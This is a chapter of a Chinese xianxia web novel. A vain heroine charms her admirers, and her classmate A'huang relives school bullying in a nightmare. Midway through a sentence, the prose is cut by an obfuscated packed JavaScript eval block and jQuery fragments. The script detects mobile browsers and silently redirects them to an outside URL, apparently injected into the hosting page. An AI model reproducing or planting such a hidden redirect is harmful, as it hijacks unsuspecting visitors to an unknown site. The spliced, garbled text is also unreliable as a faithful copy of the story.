无尽峰,弟子居。
一道粉绿身影从宋清希的言棋阁走出来,在路口发呆,由于没有旁人,她脸上的笑容很浅,维持笑容已经成了她的习惯,即使没人在身旁也要假笑。
“纯儿师妹,你在找什么呢?”独孤凤渊从一旁走来,声音柔和得令人心颤。
自从顾纯儿离去后,他就一直跟着她,直到她进入了玄极的住所,他才无法继续跟随。
突然出现的人让顾纯儿一惊,脸上马上抬起笑容,用纯洁得无法挑出瑕疵的眼神看着他:“是独孤师兄啊,我来看看宋师弟,我怕他离开断剑山庄在这里住不惯。”
“纯儿师妹真是善解人意。”独孤凤渊的声音冷了一丝,“说起来,紫微派和凌霄宗大有不同,连我也有些住不惯。”
顾纯儿似乎有点心不在焉:“这样子啊……这也许就是水土不服吧。”
没有得到预想之中的关心,独孤凤渊有些失落,正要再找些话题和她多说话,她却向他挥挥手:“我先走啦。”
他立刻道:“纯儿师妹要找宋师弟的话,我听说他被师父责罚,去后山抓雪兔子了。”
顾纯儿一愣,看起来懵懂可爱:“哎?怎么会这样?”
眼见她被吸引住,独孤凤渊有些庆幸,虽然话题还是离不开别人,至少当下她的时间是他的。
他解释道:“听说原因是同门闹事互殴,宋师弟少年气盛,发生这样的事倒不令人意外。”
“他和谁打架啊?”顾纯儿睁着一双好奇的眼睛问,声音甜腻得醉人,她自己都没意识到,她早已习惯了只要在异性面前就用这种腔调说话。
独孤凤渊不免有些心神荡漾,迟缓了好一会儿才回答:“好像是和阿凰,还有另一个同门。”
顾纯儿不语,不知道在思索什么,然后向独孤凤渊甜甜一笑:“好,我知道啦。”
说罢转身走人,独孤凤渊问:“纯儿师妹是要去帮宋师弟吗?”
她头也没回,扬起声音回答:“没有啦,既然师父要责罚必然有他的道理。”
直到她的身影彻底远去,直至看不见,独孤凤渊看着言棋阁,脸上阴郁得可怕。
走远了些,顾纯儿脸上的笑容暗淡下来。
她确实没有要去帮宋清希的打算,至于阿凰,就更不在她的考虑范围内了,她没有必要为了这两个人去忤逆师父,她的形象还没有立稳,暂时不想趟浑水。
她认为,这世上的人都有三六九等,朋友也是要分级的,头等的才需要维护关系,次等的,就算她摆脸色,那些人也会像狗皮膏药一样黏着她不放。
这种情况,有时候是甜蜜,有时候就是烦恼了。比如宋清希这样的人的纠缠,她觉得是好事,然而她太容易获得别人的喜爱,所以大部分时候都是烦恼。
被一个家世优越的美男子纠缠,和被一个村野蛮夫纠缠的感觉是不一样的,前者叫有来有回,后者就是恶心了。
人的精力是有限的,她可没有那么多时间去一一回应每一个人,好在即使她有时候敷衍应对,也从来没有人不满。
顾纯儿自己也不明白,为什么只要人们听到她的声音,就会自动喜欢上她,长此以往,她便认为自己的人格魅力就是这么大,毕竟爹爹和娘亲名扬天下,她作为备受宠爱的大女儿怎么会差呢?
从小到大,夸赞她的人多得数不过来,夸她声音好听,为人甜美,这世界送与她的滔天爱意有时让她觉得腻得慌,烦躁,她早已麻木了,这些东西有的就像路边的杂草,毫无价值。
她也知道自己就是拥有这些优点,早就习惯了万众瞩目的感觉,她总是不费吹灰之力就能俘获别人的心,自然认为这世上没有难事。
只是,宋清希和阿凰怎么会打起来?
顾纯儿回想了一下,这两个人性格天差地别,怎么会有联系呢?应该聊不到一起吧?宋清希开朗外向,是少数的能在她心里留下印象的人,而阿凰,直到如今她的评价还是平平无奇的普通人,如果没有天舞缭乱,没有被师父收为徒,她根本就不会记得这个人。
所以这两个人是怎么会起矛盾的?不知为何,顾纯儿心中莫名冒出一丝危机感。
……
夜里,阿凰清晰地感受到自己大脑清醒了,可是身体动弹不得,迷糊中她又被拖进梦魇之中。
久远的记忆被唤醒,眼前的场景变回陌生又熟悉的初中校园,女生宿舍里,她在刷着一双不属于自己的鞋子。
“哟,你在帮赵姐洗鞋子啊?”那个长得和顾纯儿一模一样的女生居高临下地看着阿凰,她嘴里的赵姐就是太妹小团体的大姐头。
阿凰抬头看了她一眼,低头继续刷鞋,用故作轻松的语气只回了个“对啊”,仿佛这样就显得她不在意这件事,不在意就不那么屈辱了。
她原本是在这里洗自己的鞋子,可是赵姐提着自己的鞋子进来,一看到她,就把鞋子丢到她面前,用不容商量的语气让她顺便把自己的鞋子也洗了。
她不敢说不,也没同意,赵姐就默认她同意了,指挥完就不愿意呆在这里。
“那顺便帮我也洗了吧。”
像顾纯儿的女孩语气吊儿郎当,很快就把自己的鞋子拿过来,腰也不弯,直直站着把鞋子丢到阿凰面前,地上的脏水溅起来一些,混合着泡沫,溅到阿凰脸上,头发上。
她刚洗干净晾干的头发。
她抹去水渍,心中压抑着不甘和怒火,正准备鼓起勇气,哪怕凶那个女孩一句呢,让她知道她也是有脾气的。
可是一抬头,女孩已经笑嘻嘻地跑了,像个恶作剧没个度的小孩子,残忍得天真,可女孩早已不是小孩子,阿凰也没法说服自己她只是太调皮。
阿凰忽然就忍不住想哭了,她好委屈,好想哭诉一下,可是在这世上,她没有可以哭诉的人。
为什么,那个女孩幼儿园时期就那么恶劣地欺负她,上了小学之后,本以为终于可以甩掉她,没想到初中时又遇到她,知道她是靠关系进来的,阿凰心里更无力了,因为这意味着她不会轻易走人。
也正因如此,小太妹团体一开始霸凌女孩,只敢用小偷小摸的方式,也就是冷暴力,搞孤立。
阿凰见她实在可怜,想着她现在长大了,兴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126058|196080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许小时候只是不懂事太调皮了,现在的她看起来孤立无援,便主动和她做朋友,在课间她被小太妹团体借口开玩笑,用语言中伤得趴在桌子上哭的时候,阿凰主动站出来给她说话,安慰她。
于是噩梦开始了,农夫与蛇的故事在阿凰身上上演,那女孩加入小太妹团体,以欺负阿凰的方式向团体投诚,太妹们自然乐意看到这一幕,尤其是,听说阿凰和女孩曾经是同学,她们就更兴奋了。
为什么好人没好报呢?为什么帮助人的那一个成了被欺负的?
虽然后来上了高中,考上大学,阿凰都没再遇到那个女孩,并且遇到了一些真心伙伴,可是许多个夜晚,她的噩梦里都是曾经被欺负的场景。
周围人冷漠甚至是嫌弃的眼神,让她一度以为自己生活在这世上就是祸害,一看到她人们好像看到了麻烦,自动避开,就好像多看她两眼就会被小团体一起收拾。
有一天,班里来了个转学生,阿凰作为老实肯学的好学生坐在前排,转学生德智体劳发展,数学成绩名列前茅,班主任数学老师把他安排在她前桌。
转学生经常转过来和她交流学习,他艺术细胞接近于无,她怎么教他似乎也不开窍,依然每天都讨教。而她艺术天赋极高,连老师都可惜,如果家里肯培养,未来可期。
一来二去,大家默认了他们是很般配的一对,青春期的她把握不清喜欢的界限,只是害怕成绩下降,一直和他保持距离。
平平无奇的一天,她赴约去找转学生学习,带上了自己做的小饼干,这是她第一次勇敢地迈出自己的第一步。
到了地方遇到那个女孩,她也是去找转学生的,阿凰不敢被她知道,把饼干送给她,然后看着她和转学生有说有笑,一起吃下她亲手做的小饼干。
似乎像青春疼痛文学一样,每个好学生都会遇到一个叛逆的坏学生,尝到了新鲜感,被迷得神魂颠倒,被带坏。
听说转学生和那个女孩在一起的时候,阿凰有些意外,这么两个不是一个世界的人居然走到了一起。
也就是在这时候,阿凰才知道大家眼里都以为她和转学生会在一起,觉得他们很般配。
这种叛逆女孩的热烈追求是男生无法拒绝的,充满了新鲜和刺激。
教室的灯突然灭了,再次亮起来的时候,那个女孩惊魂未定地抱着转学生的手臂。
旁边的人在小声揶揄女孩好装,阿凰没在意,因为女孩在用挑衅的眼神看着她。
她心中忽然涌上一股可悲,为自己的无力,也为女孩的行为,她知道,女孩不一定是真的喜欢转学生,只是因为想和她作对罢了,半大的青少年气别人的方式就是故意抢走她心爱的一切。
由此,她的青春期第一份萌动无疾而终。
在后来无数个难熬的日夜里,阿凰一直无法理解,那个女孩为什么从小就那么坏,并且长大后毫无长进,甚至更坏了?
一股气闷在胸口,压得阿凰呼吸困难,梦里的她哭了出来,哭着哭着就醒了,醒过来的时候发现正在哭,她愣住好久,干脆放纵自己,大哭一场也许心里就能好受了。